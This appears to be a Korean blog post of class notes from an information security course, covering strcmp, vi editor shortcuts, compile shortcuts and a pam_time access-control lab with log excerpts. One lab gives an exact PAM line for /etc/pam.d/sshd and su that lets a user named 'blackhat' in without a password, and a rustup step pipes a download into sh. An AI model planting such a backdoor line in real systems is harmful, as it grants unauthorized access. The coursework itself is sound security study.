본문 바로가기
정보보안

정보보안2 2차시

by IT매니절 2024. 5. 5.

 

 

strcmp(), strcasecmp() 함수 사용법

pam_succeed_if.c 코드에서 사용된 공통함수

 

strcmp

=> s1값이 s2보다 작다면 음수 리턴, 같으면 0 리턴, 크면 양수 리턴

 

strcasecmp

=> 인자 s1, s2값이 서로 같으면 0을 리턴한다

 

 

vi 사용법 복습 및 단축키 학습

수평분할 : new

수직분할 : vs

 

분할된 멀티창에서

수직

왼오창 변경 : Ctrl + w + L

 

수평

위아래 창 변경 : Ctrl + w + J

 

분할창 크기 똑같이 : Ctrl + w + =

커서를 다른 창으로 옮기기 : Ctrl + w + w (Ctrl + w + 왼쪽/오른쪽 화살표도 가능)

 

 

vi 블럭지정 : v키를 누른후 키보드 화살표로 지정

블럭지정후 "ay  입력하면 레지스터 a (메모리, 클립보드와 유사한 버퍼)에 복사, "ap 붙여넣기.

응용 : "by, "bp 등. y 앞에는 저장할 레지스터명을 입력한다. a-z까지 사용가능. A-Z는 기존 내용에 추가. 
:registers 또는 :reg 하면 리스트 볼 수 있음

 

:r !ls %

=> 현재 vi로 연 파일의 파일명(%)을 가져와 커서 아랫줄에 붙여넣기

k

=> 커서를 한 줄 위로 올림

J

=> 붙여넣은 파일명을 커서 위치로 옮김

 

레지스터에 복사하면 vi를 종료해도 레지스터에 남아있는 한 계속 복사된 상태

 

 

str까지 쓴 후, Ctrl + p 선택시 함수 리스트가 나타난다
Ctrl + p 위쪽, Ctrl + n 아래쪽 화살표도 이용 가능

 

 

치환

:s%/\t/ /g

=> 탭키를 공백으로 변경하기 (탭키 때문에 정렬이 흐트러질 때)

s% 전체범위

\t 탭키

/g 한 라인에 여러 개가 있어도 모두 교체

기본

:범위s/찾을문자/바꿀문자/옵션

 

u 실행취소

Ctrl + r 다시 실행

 

:r !ls %:t

=> 현재 파일의 파일명. 확장자 포함

:r !ls %:t:r

=> 현재 파일의 파일명에서 확장자를 떼고 가져온다

 

이를 응용하여 vi /etc/vimrc에 단축키를 설정하기

map :w!<cr>:!gcc -o %:t:r %:t && ./%:t:r<cr>

=> :w! 저장

=> <cr> 엔터

=> :! 명령어

=> gcc -o 옵션

=> %:t:r 확장자명을 뗀 실행파일

=> %:t 확장자명을 포함한 컴파일할 파일

=> && gcc 명령어 성공 후에

=> ./%:t:r 만들어진 실행파일을 실행하고 <cr> 엔터

=> vi 수정후 바로 gcc로 컴파일하고 결과를 출력해볼 수 있는 단축키 완성 ( gcc 명령어에 -Wall 추가해주면 경고를 같이 출력해준다 )

 

gdb의 경우 : gdb -q 소스파일명
c++의 경우 : g++ -o 실행파일명 소스파일명

( std::cout << "메시지" << std::endl;
=> std 아래의 cout이용. endl이 엔터를 의미함 )

java의 경우 : javac 소스파일명 && java 실행파일명

 

rust 설치 : curl https://sh.rustup.rs -sSf | sh

rust의 경우 : rustc 소스파일명 && ./실행파일명

 

참고하면 좋은 사이트 : w3schools.com

 

편집-컴파일을 반복하기 좋은 설정

: 20vs.          <- 20칸 크기의 파일탐색기 창을 열고

: Ctrl + w + w 하여 옆칸으로 가서 새 파일을 작성하거나

: Shift + p 로 파일의 내용물을 옆칸에 불러와 작성, 수정

 

Ctrl + w + 숫자 + >       : 현재 창의 너비/높이를 n만큼 증가

Ctrl + w + 숫자 + <       : 현재 창의 너비/높이를 n만큼 감소

Ctrl + w + _ + > 현재 창의 높이를 최대로
Ctrl + w + | + > 현재 창의 너비를 최대로

 

 

실습 ) pam 백도어

vi /etc/pam.d/sshd

vi /etc/pam.d/su

auth       sufficient   pam_succeed_if.so user = blackhat quiet use_uid

백도어를 사용할 해커의 id로 최상단에 추가

 

 

 

실습) pam_time 시간에 의한 접근 통제

참고 사이트 : https://linuxmaster.net/pam/linux-pam/sag-pam_time.html

 

vi /etc/pam.d/sshd 파일에

account    required     pam_time.so

pam_time 사용하는 라인을 하나 추가한다

 

pam_time.so 모듈은 /etc/security/time.conf 파일을 이용한다.

맨 아래쪽에 추가

 

sshd 서비스에 대해, 모든 터미널 * 허용, root 계정에 대해, Su 일요일, 시간설정

조건이 맞지 않을 시, 해당 계정은 로그인 할 수 없다

 

요일

Mo Tu We Th Fr Sa Su Wk Wd Al

 

/var/log/secure

May  5 17:43:04 linuxboan1 sshd[57480]: Failed password for root from 192.168.100.123 port 50379 ssh2
May  5 17:43:04 linuxboan1 sshd[57480]: fatal: Access denied for user root by PAM account configuration [preauth]

=> account 타입의 pam_time에 의해 root 로그인이 거절되었다.

 

시간설정을 변경

May  5 17:45:43 linuxboan1 sshd[57489]: Accepted password for root from 192.168.100.1 port 50383 ssh2
May  5 17:45:43 linuxboan1 sshd[57489]: pam_unix(sshd:session): session opened for user root by (uid=0)

=> 시간설정에 맞도록 변경하자, 로그인 성공

 

pam_time.c 에 등록된 요일 변수들

 

'정보보안' 카테고리의 다른 글

정보보안2 3차시  (0) 2024.05.11
과제)  (0) 2024.05.09
정보보안2 1차시  (0) 2024.05.04
정보보안1 8차시  (0) 2024.04.28
정보보안1 7차시  (0) 2024.04.27